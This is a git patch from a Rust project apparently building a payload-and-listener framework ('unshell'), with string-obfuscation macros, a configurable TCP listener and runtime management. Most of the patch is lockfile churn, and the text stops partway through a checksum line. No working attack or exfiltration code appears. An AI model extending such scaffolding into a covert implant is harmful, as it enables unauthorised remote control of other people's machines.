From 1efa3206ae3f0cd2efa7c4f293f2bae98269ddbd Mon Sep 17 00:00:00 2001 From: Michael Mikovsky <77305074+Astatin3@users.noreply.github.com> Date: Tue, 25 Nov 2025 14:27:06 -0700 Subject: [PATCH] Better static runtime config, work on connections. --- unshell-cli/Cargo.lock | 232 +++++++++++++++++++++-- unshell-cli/Cargo.toml | 5 +- unshell-cli/src/main.rs | 48 +++-- unshell-lib/Cargo.lock | 16 ++ unshell-lib/Cargo.toml | 1 + unshell-lib/src/components.rs | 2 + unshell-lib/src/lib.rs | 1 + unshell-lib/src/logger/mod.rs | 1 + unshell-lib/src/module/manager.rs | 83 ++++---- unshell-lib/src/network/connection.rs | 68 +++++++ unshell-lib/src/network/mod.rs | 18 ++ unshell-lib/src/server/mod.rs | 23 +++ unshell-lib/src/server/server_runtime.rs | 26 ++- unshell-payload/Cargo.lock | 174 +++++++++++++++-- unshell-payload/Cargo.toml | 3 +- unshell-payload/src/main.rs | 55 +++--- 16 files changed, 634 insertions(+), 122 deletions(-) create mode 100644 unshell-lib/src/network/connection.rs create mode 100644 unshell-lib/src/network/mod.rs diff --git a/unshell-cli/Cargo.lock b/unshell-cli/Cargo.lock index dcb8e28..5dc2b42 100644 --- a/unshell-cli/Cargo.lock +++ b/unshell-cli/Cargo.lock @@ -57,6 +57,18 @@ dependencies = [ "virtue", ] +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3" + [[package]] name = "block-buffer" version = "0.10.4" @@ -115,6 +127,18 @@ version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" +[[package]] +name = "cfg_aliases" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e" + +[[package]] +name = "cfg_aliases" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" + [[package]] name = "chrono" version = "0.4.42" @@ -153,6 +177,21 @@ dependencies = [ "libc", ] +[[package]] +name = "crossbeam-channel" +version = "0.5.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82b8f8f868b36967f9606790d1903570de9ceaf870a7bf9fbbd3016d636a2cb2" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" + [[package]] name = "crypto-common" version = "0.1.6" @@ -272,12 +311,6 @@ dependencies = [ "wasm-bindgen", ] -[[package]] -name = "lazy_static" -version = "1.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" - [[package]] name = "libc" version = "0.2.177" @@ -294,6 +327,15 @@ dependencies = [ "windows-link", ] +[[package]] +name = "lock_api" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965" +dependencies = [ + "scopeguard", +] + [[package]] name = "log" version = "0.4.28" @@ -321,6 +363,38 @@ version = "1.21.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" +[[package]] +name = "parking_lot" +version = "0.12.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-link", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + [[package]] name = "proc-macro2" version = "1.0.103" @@ -345,6 +419,44 @@ version = "5.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" +[[package]] +name = "rand" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6db2770f06117d490610c7488547d543617b21bfa07796d7a12f6f1bd53850d1" +dependencies = [ + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "99d9a13982dcf210057a8a78572b2217b667c3beacbf3a0d8b454f6f82837d38" +dependencies = [ + "getrandom", +] + +[[package]] +name = "redox_syscall" +version = "0.5.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d" +dependencies = [ + "bitflags 2.10.0", +] + [[package]] name = "regex" version = "1.12.2" @@ -386,6 +498,12 @@ version = "1.0.20" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f" +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + [[package]] name = "serde" version = "1.0.228" @@ -413,7 +531,7 @@ checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.110", ] [[package]] @@ -446,6 +564,51 @@ version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" +[[package]] +name = "smallvec" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" + +[[package]] +name = "static_init" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8bae1df58c5fea7502e8e352ec26b5579f6178e1fdb311e088580c980dee25ed" +dependencies = [ + "bitflags 1.3.2", + "cfg_aliases 0.2.1", + "libc", + "parking_lot", + "parking_lot_core", + "static_init_macro", + "winapi", +] + +[[package]] +name = "static_init_macro" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1389c88ddd739ec6d3f8f83343764a0e944cd23cfbf126a9796a714b0b6edd6f" +dependencies = [ + "cfg_aliases 0.1.1", + "memchr", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + [[package]] name = "syn" version = "2.0.110" @@ -473,7 +636,7 @@ checksum = "9312f7c4f6ff9069b165498234ce8be658059c6728633667c526e27dc2cf1df5" name = "unshell-cli" version = "0.0.0" dependencies = [ - "lazy_static", + "static_init", "unshell-crypt", "unshell-lib", "unshell-obfuscate", @@ -499,7 +662,10 @@ version = "0.0.0" dependencies = [ "bincode", "chrono", + "crossbeam-channel", + "libc", "libloading", + "rand", "serde", "serde_json", "unshell-obfuscate", @@ -511,7 +677,7 @@ version = "0.0.0" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.110", "unshell-crypt", ] @@ -574,7 +740,7 @@ dependencies = [ "bumpalo", "proc-macro2", "quote", - "syn", + "syn 2.0.110", "wasm-bindgen-shared", ] @@ -587,6 +753,28 @@ dependencies = [ "unicode-ident", ] +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + [[package]] name = "windows-core" version = "0.62.2" @@ -608,7 +796,7 @@ checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.110", ] [[package]] @@ -619,7 +807,7 @@ checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.110", ] [[package]] @@ -651,3 +839,23 @@ name = "wit-bindgen" version = "0.46.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f17a85883d4e6d00e8a97c586de764dabcc06133f7f1d55dce5cdc070ad7fe59" + +[[package]] +name = "zerocopy" +version = "0.8.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ea879c944afe8a2b25fef16bb4ba234f47c694565e97383b36f3a878219065c" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf955aa904d6040f70dc8e9384444cb1030aed272ba3cb09bbc4ab9e7c1f34f5" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.110", +] diff --git a/unshell-cli/Cargo.toml b/unshell-cli/Cargo.toml index cb4f362..8d8e414 100644 --- a/unshell-cli/Cargo.toml +++ b/unshell-cli/Cargo.toml @@ -3,7 +3,8 @@ name = "unshell-cli" edition = "2024" [dependencies] -unshell-lib = {path = "../unshell-lib"} +unshell-lib = {path = "../unshell-lib", features=["log_debug"]} unshell-obfuscate = {path = "../unshell-obfuscate"} unshell-crypt = {path = "../unshell-crypt"} -lazy_static = "1.5.0" +# lazy_static = "1.5.0" +static_init = "1.0.4" diff --git a/unshell-cli/src/main.rs b/unshell-cli/src/main.rs index 620f2ac..73e74db 100644 --- a/unshell-cli/src/main.rs +++ b/unshell-cli/src/main.rs @@ -1,21 +1,47 @@ -use lazy_static::lazy_static; -use unshell_lib::{config::PayloadConfig, module::Manager}; -use unshell_obfuscate::symbol; +use std::collections::HashMap; -lazy_static! { - static ref PAYLOAD_CONFIG: PayloadConfig = PayloadConfig { - id: symbol!("Test ID"), - components: unshell_lib::get_components(), - runtime_config: vec![], - }; +use static_init::dynamic; +use unshell_lib::{ + config::{PayloadConfig, RuntimeConfig}, + module::Manager, +}; +use unshell_obfuscate::{obs, symbol}; + +#[dynamic] +static PAYLOAD_CONFIG: PayloadConfig = PayloadConfig { + id: symbol!("Test ID"), + components: unshell_lib::get_components(), + runtime_config: vec![], +}; + +use std::alloc::{Layout, alloc}; +use std::ptr; + +fn leak(value: T) -> &'static mut T { + unsafe { + let layout = Layout::new::(); + let ptr = alloc(layout) as *mut T; + ptr::write(ptr, value); + &mut *ptr + } } fn main() -> Result<(), Box> { unshell_lib::logger::PrettyLogger::init(); - Manager::run(&PAYLOAD_CONFIG, Vec::new()); + let manager = Manager::start(&PAYLOAD_CONFIG, Vec::new()); - // let mut serverruntime = unshell_lib::server::ListenerRuntime::new(); + let runtime = leak(RuntimeConfig { + parent_component: symbol!("server").to_string(), + name: symbol!("server runtime").to_string(), + config: HashMap::from([(symbol!("host").to_string(), obs!("localhost:1234"))]), + }); + + Manager::start_runtime(manager.clone(), runtime); + + // Manager::st + + Manager::join(manager); // loop { // print!("> "); diff --git a/unshell-lib/Cargo.lock b/unshell-lib/Cargo.lock index 643947c..7b06f4a 100644 --- a/unshell-lib/Cargo.lock +++ b/unshell-lib/Cargo.lock @@ -153,6 +153,21 @@ dependencies = [ "libc", ] +[[package]] +name = "crossbeam-channel" +version = "0.5.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82b8f8f868b36967f9606790d1903570de9ceaf870a7bf9fbbd3016d636a2cb2" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" + [[package]] name = "crypto-common" version = "0.1.6" @@ -521,6 +536,7 @@ version = "0.0.0" dependencies = [ "bincode", "chrono", + "crossbeam-channel", "libc", "libloading", "rand", diff --git a/unshell-lib/Cargo.toml b/unshell-lib/Cargo.toml index 0b01700..bf6e17f 100644 --- a/unshell-lib/Cargo.toml +++ b/unshell-lib/Cargo.toml @@ -25,3 +25,4 @@ serde = {version = "1.0.228", features=["derive"]} serde_json = "1.0.145" libc = "0.2.177" rand = "0.9.2" +crossbeam-channel = "0.5.15" diff --git a/unshell-lib/src/components.rs b/unshell-lib/src/components.rs index f9bb43a..7562309 100644 --- a/unshell-lib/src/components.rs +++ b/unshell-lib/src/components.rs @@ -8,5 +8,7 @@ pub fn get_components() -> Vec { return vec![ #[cfg(feature = "client")] crate::client::get_named_component(), + #[cfg(feature = "server")] + crate::server::get_named_component(), ]; } diff --git a/unshell-lib/src/lib.rs b/unshell-lib/src/lib.rs index 83e798c..a29f9d7 100644 --- a/unshell-lib/src/lib.rs +++ b/unshell-lib/src/lib.rs @@ -4,6 +4,7 @@ pub mod client; pub mod config; pub mod logger; pub mod module; +pub mod network; pub mod server; mod components; diff --git a/unshell-lib/src/logger/mod.rs b/unshell-lib/src/logger/mod.rs index 5eeeb79..e59f097 100644 --- a/unshell-lib/src/logger/mod.rs +++ b/unshell-lib/src/logger/mod.rs @@ -40,6 +40,7 @@ impl Logger for DefaultLogger { fn log(&self, _: Record) {} } +#[allow(unused_variables)] pub fn set_logger_box(logger: Box) { #[cfg(feature = "log")] unsafe { diff --git a/unshell-lib/src/module/manager.rs b/unshell-lib/src/module/manager.rs index 9d8d818..d9388db 100644 --- a/unshell-lib/src/module/manager.rs +++ b/unshell-lib/src/module/manager.rs @@ -39,7 +39,7 @@ impl Manager { /// Create Manager, and run initilization for each Module #[allow(static_mut_refs)] - pub fn run(config: &'static PayloadConfig, modules: Vec) { + pub fn start(config: &'static PayloadConfig, modules: Vec) -> Arc> { // Construct self let mut this = Self::new(&config.id, config.components.clone(), modules); @@ -51,11 +51,12 @@ impl Manager { let this = Arc::new(Mutex::new(this)); - Self::start_runtimes(this.clone(), &config.runtime_config); + debug!("Starting runtimes..."); + for runtime in &config.runtime_config { + Self::start_runtime(this.clone(), runtime); + } - // drop(config); - - Self::join(this); + this } fn load_components(&mut self) { @@ -84,39 +85,8 @@ impl Manager { } } - /// Start each runtime - fn start_runtimes(this: Arc>, runtimes: &'static Vec) { - debug!("Starting runtimes..."); - for runtime in runtimes { - let mut this_lock = this.lock().unwrap(); - - let component = match this_lock.components.get(&runtime.parent_component) { - Some(component) => component, - None => { - warn!( - "Could not find component '{}' which is referenced by runtime: {}", - runtime.parent_component, runtime.name - ); - continue; - } - }; - - debug!("Starting runtime: {}", runtime.name); - - let runtime = match (*component.start_runtime)(runtime) { - Ok(runtime) => runtime, - Err(e) => { - warn!("Failed to start runtime: {:?}", e); - continue; - } - }; - - this_lock.active_runtimes.push(runtime); - } - } - /// Iterateratively loop through all runtimes, until all are finished executing - fn join(this: Arc>) { + pub fn join(this: Arc>) { loop { let mut this_lock = this.lock().unwrap(); @@ -140,20 +110,35 @@ impl Manager { } } - // pub fn get_component(&self) -> HashMap<&'static str, Box> { - // self.components.clone() - // } + /// Start a runtime + pub fn start_runtime<'a>(this: Arc>, runtime: &'static RuntimeConfig) { + let mut this_lock = this.lock().unwrap(); + + let component = match this_lock.components.get(&runtime.parent_component) { + Some(component) => component, + None => { + warn!( + "Could not find component '{}' which is referenced by runtime: {}", + runtime.parent_component, runtime.name + ); + return; + } + }; + + debug!("Starting runtime: {}", runtime.name); + + let runtime = match (*component.start_runtime)(runtime) { + Ok(runtime) => runtime, + Err(e) => { + warn!("Failed to start runtime: {:?}", e); + return; + } + }; + + this_lock.active_runtimes.push(runtime); + } pub fn get_name(&self) -> &str { self.id } - - // pub extern "C" fn test1234(&self, float: f32) { - // info!("Manager Test Sucsessfull! {}", float.powf(2.)); - // } - - // #[allow(static_mut_refs, improper_ctypes_definitions)] - // pub extern "C" fn get_manager() -> Arc> { - // unsafe { MANAGER_RUNTIME.clone().unwrap() } - // } } diff --git a/unshell-lib/src/network/connection.rs b/unshell-lib/src/network/connection.rs new file mode 100644 index 0000000..e275bc6 --- /dev/null +++ b/unshell-lib/src/network/connection.rs @@ -0,0 +1,68 @@ +use std::sync::{ + Arc, + atomic::{AtomicBool, Ordering}, +}; + +use crate::{Announcement, ModuleError, network::Stream}; + +use crossbeam_channel::{Receiver, Sender}; + +pub struct Connection { + tx: Sender, + rx: Receiver, + is_alive: Arc, +} + +impl Connection { + pub fn new() -> (Connection, Connection) { + let (tx_mgr, rx) = crossbeam_channel::unbounded(); + let (tx, rx_mgr) = crossbeam_channel::unbounded(); + let alive = Arc::new(AtomicBool::new(false)); + + ( + Self { + tx: tx_mgr, + rx: rx_mgr, + is_alive: alive.clone(), + }, + Self { + tx, + rx, + is_alive: alive, + }, + ) + } +} + +impl Stream for Connection { + fn is_alive(&self) -> bool { + self.is_alive.load(Ordering::Relaxed) + } + + fn len(&self) -> usize { + self.rx.len() + } + + fn read(&mut self) -> Option { + match self.rx.is_empty() { + true => None, + false => self.rx.recv().ok(), + } + } + + fn write(&mut self, data: Announcement) -> Result<(), crate::ModuleError> { + self.tx + .send(data) + .map_err(|_| ModuleError::Error("Failed to send".into()))?; + + Ok(()) + } + + fn try_clone(&self) -> Result + Send + Sync>, crate::ModuleError> { + Ok(Box::new(Self { + tx: self.tx.clone(), + rx: self.rx.clone(), + is_alive: self.is_alive.clone(), + })) + } +} diff --git a/unshell-lib/src/network/mod.rs b/unshell-lib/src/network/mod.rs new file mode 100644 index 0000000..90c4c90 --- /dev/null +++ b/unshell-lib/src/network/mod.rs @@ -0,0 +1,18 @@ +mod connection; + +pub use connection::Connection; + +use crate::ModuleError; + +/// This is the data transmission type +pub trait Stream: Send + Sync { + // fn get_info(&self) -> String; + fn is_alive(&self) -> bool; + + fn len(&self) -> usize; + fn read(&mut self) -> Option; + + fn write(&mut self, data: T) -> Result<(), ModuleError>; + + fn try_clone(&self) -> Result + Send + Sync>, ModuleError>; +} diff --git a/unshell-lib/src/server/mod.rs b/unshell-lib/src/server/mod.rs index f1aad13..b12b856 100644 --- a/unshell-lib/src/server/mod.rs +++ b/unshell-lib/src/server/mod.rs @@ -1,3 +1,26 @@ mod server_runtime; pub use server_runtime::ListenerRuntime; + +use crate::{ + ModuleError, ModuleRuntime, + config::{InterfaceWrapper, NamedComponent, RuntimeConfig}, +}; + +pub const COMPONENT_NAME: &'static str = "server"; + +fn get_interface() -> Option<&'static (dyn InterfaceWrapper + Sync)> { + None +} + +fn start_runtime(config: &'static RuntimeConfig) -> Result, ModuleError> { + Ok(Box::new(ListenerRuntime::new(config)?)) +} + +pub const fn get_named_component() -> NamedComponent { + NamedComponent { + name: COMPONENT_NAME, + get_interface: &get_interface, + start_runtime: &start_runtime, + } +} diff --git a/unshell-lib/src/server/server_runtime.rs b/unshell-lib/src/server/server_runtime.rs index 71225c5..9196b8a 100644 --- a/unshell-lib/src/server/server_runtime.rs +++ b/unshell-lib/src/server/server_runtime.rs @@ -5,10 +5,11 @@ use std::{ thread::{self, JoinHandle}, }; -use crate::*; +use crate::{config::RuntimeConfig, *}; pub struct ListenerRuntime { thread_handle: JoinHandle<()>, + // join_signal: Arc, // listener: TcpListener, streams: Arc>>, // reader: BufReader, @@ -16,9 +17,19 @@ pub struct ListenerRuntime { } impl ListenerRuntime { - pub fn new() -> ListenerRuntime { + pub fn new(config: &'static RuntimeConfig) -> Result { // info!("Starting listener runtime on {}",); - let listener = TcpListener::bind("127.0.0.1:1234").unwrap(); + + let host = match config.config.get("host") { + Some(host) => host, + None => { + return Err(ModuleError::Error( + "Could not find HOST in Server Runtime".into(), + )); + } + }; + + let listener = TcpListener::bind(host).unwrap(); let streams = Arc::new(Mutex::new(Vec::new())); let streams_clone = streams.clone(); @@ -27,14 +38,14 @@ impl ListenerRuntime { let streams = streams_clone.clone(); for stream in listener.incoming() { let stream = stream.unwrap(); - println!("New connection from {}", stream.peer_addr().unwrap()); + debug!("New connection from {}", stream.peer_addr().unwrap()); streams.lock().unwrap().push(stream); } }); - Self { + Ok(Self { thread_handle, streams, - } + }) } pub fn send(&mut self, announcement: &Announcement) -> Result<(), std::io::Error> { @@ -48,7 +59,7 @@ impl ListenerRuntime { stream.flush()?; } - println!("Announcement {:?} sent", announcement); + debug!("Announcement {:?} sent", announcement); Ok(()) } @@ -81,6 +92,7 @@ impl ModuleRuntime for ListenerRuntime { fn kill(self: Box) { if !self.thread_handle.is_finished() { + // self.join_signal.store(true, Ordering::Relaxed); let _ = self.thread_handle.join(); } // drop(self); diff --git a/unshell-payload/Cargo.lock b/unshell-payload/Cargo.lock index bbe0206..af5acca 100644 --- a/unshell-payload/Cargo.lock +++ b/unshell-payload/Cargo.lock @@ -57,6 +57,18 @@ dependencies = [ "virtue", ] +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3" + [[package]] name = "block-buffer" version = "0.10.4" @@ -115,6 +127,18 @@ version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" +[[package]] +name = "cfg_aliases" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e" + +[[package]] +name = "cfg_aliases" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" + [[package]] name = "chrono" version = "0.4.42" @@ -153,6 +177,21 @@ dependencies = [ "libc", ] +[[package]] +name = "crossbeam-channel" +version = "0.5.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82b8f8f868b36967f9606790d1903570de9ceaf870a7bf9fbbd3016d636a2cb2" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" + [[package]] name = "crypto-common" version = "0.1.6" @@ -272,12 +311,6 @@ dependencies = [ "wasm-bindgen", ] -[[package]] -name = "lazy_static" -version = "1.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" - [[package]] name = "libc" version = "0.2.177" @@ -294,6 +327,15 @@ dependencies = [ "windows-link", ] +[[package]] +name = "lock_api" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965" +dependencies = [ + "scopeguard", +] + [[package]] name = "log" version = "0.4.28" @@ -321,6 +363,29 @@ version = "1.21.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" +[[package]] +name = "parking_lot" +version = "0.12.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-link", +] + [[package]] name = "ppv-lite86" version = "0.2.21" @@ -383,6 +448,15 @@ dependencies = [ "getrandom", ] +[[package]] +name = "redox_syscall" +version = "0.5.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d" +dependencies = [ + "bitflags 2.10.0", +] + [[package]] name = "regex" version = "1.12.2" @@ -424,6 +498,12 @@ version = "1.0.20" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f" +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + [[package]] name = "serde" version = "1.0.228" @@ -451,7 +531,7 @@ checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.109", ] [[package]] @@ -484,6 +564,51 @@ version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" +[[package]] +name = "smallvec" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" + +[[package]] +name = "static_init" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8bae1df58c5fea7502e8e352ec26b5579f6178e1fdb311e088580c980dee25ed" +dependencies = [ + "bitflags 1.3.2", + "cfg_aliases 0.2.1", + "libc", + "parking_lot", + "parking_lot_core", + "static_init_macro", + "winapi", +] + +[[package]] +name = "static_init_macro" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1389c88ddd739ec6d3f8f83343764a0e944cd23cfbf126a9796a714b0b6edd6f" +dependencies = [ + "cfg_aliases 0.1.1", + "memchr", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + [[package]] name = "syn" version = "2.0.109" @@ -527,6 +652,7 @@ version = "0.0.0" dependencies = [ "bincode", "chrono", + "crossbeam-channel", "libc", "libloading", "rand", @@ -541,7 +667,7 @@ version = "0.0.0" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.109", "unshell-crypt", ] @@ -549,7 +675,7 @@ dependencies = [ name = "unshell-payload" version = "0.0.0" dependencies = [ - "lazy_static", + "static_init", "unshell-lib", "unshell-obfuscate", ] @@ -613,7 +739,7 @@ dependencies = [ "bumpalo", "proc-macro2", "quote", - "syn", + "syn 2.0.109", "wasm-bindgen-shared", ] @@ -626,6 +752,28 @@ dependencies = [ "unicode-ident", ] +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + [[package]] name = "windows-core" version = "0.62.2" @@ -647,7 +795,7 @@ checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.109", ] [[package]] @@ -658,7 +806,7 @@ checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.109", ] [[package]] @@ -708,5 +856,5 @@ checksum = 